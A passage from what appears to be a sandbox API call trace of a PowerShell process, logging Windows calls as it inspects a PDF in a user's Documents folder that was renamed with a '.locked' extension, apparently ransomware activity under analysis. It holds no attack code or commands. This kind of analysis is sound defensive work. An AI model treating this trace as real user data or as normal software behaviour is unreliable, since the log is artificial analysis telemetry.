[2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.055] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.055] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.055] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.055] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.056] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\a3cc6ntwzf6rjokd.pdf.locked")) returned 0x20 [0133.056] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\a3cc6ntwzf6rjokd.pdf.locked")) returned 0x20 [0133.056] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf.locked", lpFilePart=0x0) returned 0x4f [0133.056] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf.locked", lpFilePart=0x0) returned 0x4f [0133.056] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.056] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf", lpFilePart=0x0) returned 0x48 [0133.056] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.057] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.057] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.057] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.058] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.058] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.058] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.058] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.058] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.059] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.060] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.060] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.060] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.060] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.061] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.061] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.061] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.061] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x71, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.061] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.063] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.063] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.063] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.063] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x72, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.063] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.065] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.068] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0133.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0133.069] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\a3cc6ntwzf6rjokd.pdf.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a1b6d0 | out: lpFileInformation=0x6a1b6d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12874231, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x12874231, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x12874231, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xf594)) returned 1 [0133.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0133.069] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf.locked", lpFilePart=0x0) returned 0x4f [0133.069] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\A3cC6ntwzf6rjOkD.pdf.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\a3cc6ntwzf6rjokd.pdf.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0133.069] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0133.069] CloseHandle (hObject=0x858) returned 1 [0133.072] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0133.072] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0133.073] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0133.077] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0133.077] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0133.078] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0133.078] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0133.081] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0133.081] GetConsoleOutputCP () returned 0x1b5 [0133.081] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0133.082] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0133.082] GetConsoleOutputCP () returned 0x1b5 [0133.082] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0133.082] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0133.082] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a4390c*, nNumberOfCharsToWrite=0x42, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x6a4390c*, lpNumberOfCharsWritten=0x99ae3a4*=0x42) returned 1 [0133.083] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0133.083] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0133.107] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0133.108] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0133.108] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0133.118] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0133.118] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0133.119] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0133.122] GetConsoleOutputCP () returned 0x1b5 [0133.122] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0133.122] GetConsoleOutputCP () returned 0x1b5 [0133.122] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0133.122] GetConsoleOutputCP () returned 0x1b5 [0133.122] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.122] GetConsoleOutputCP () returned 0x1b5 [0133.123] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.123] GetConsoleOutputCP () returned 0x1b5 [0133.123] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0133.123] GetConsoleOutputCP () returned 0x1b5 [0133.123] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0133.123] GetConsoleOutputCP () returned 0x1b5 [0133.124] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.124] GetConsoleOutputCP () returned 0x1b5 [0133.124] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.124] GetConsoleOutputCP () returned 0x1b5 [0133.125] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0133.125] GetConsoleOutputCP () returned 0x1b5 [0133.125] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0133.125] GetConsoleOutputCP () returned 0x1b5 [0133.125] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.125] GetConsoleOutputCP () returned 0x1b5 [0133.126] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.126] GetConsoleOutputCP () returned 0x1b5 [0133.126] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0133.126] GetConsoleOutputCP () returned 0x1b5 [0133.126] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0133.126] GetConsoleOutputCP () returned 0x1b5 [0133.127] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.127] GetConsoleOutputCP () returned 0x1b5 [0133.127] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0133.127] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0133.127] GetConsoleOutputCP () returned 0x1b5 [0133.128] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0133.128] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0133.128] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a447b4*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6a447b4*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0133.128] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0133.129] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0133.133] GetConsoleOutputCP () returned 0x1b5 [0133.133] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0133.133] GetConsoleOutputCP () returned 0x1b5 [0133.133] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0133.133] GetConsoleOutputCP () returned 0x1b5 [0133.134] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0133.134] GetConsoleOutputCP () returned 0x1b5 [0133.134] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0133.134] GetConsoleOutputCP () returned 0x1b5 [0133.134] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.134] GetConsoleOutputCP () returned 0x1b5 [0133.135] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.135] GetConsoleOutputCP () returned 0x1b5 [0133.135] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.135] GetConsoleOutputCP () returned 0x1b5 [0133.135] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0133.135] GetConsoleOutputCP () returned 0x1b5 [0133.135] TranslateCharsetInfo (in: 